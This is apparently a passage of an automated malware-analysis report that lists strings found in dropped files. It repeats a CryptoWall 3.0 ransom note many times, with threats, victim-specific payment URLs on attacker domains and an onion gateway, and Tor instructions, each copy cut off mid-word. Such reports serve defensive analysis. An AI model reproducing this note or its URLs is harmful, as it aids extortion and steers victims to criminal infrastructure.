your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt77.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt57.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt256.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html237.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html296.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html83.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt243.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html384.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html31.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt97.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt386.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html234.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html415.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt309.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html117.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt79.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html300.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html16.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html12.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt194.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt239.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt295.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt187.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt11.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt7.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt330.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
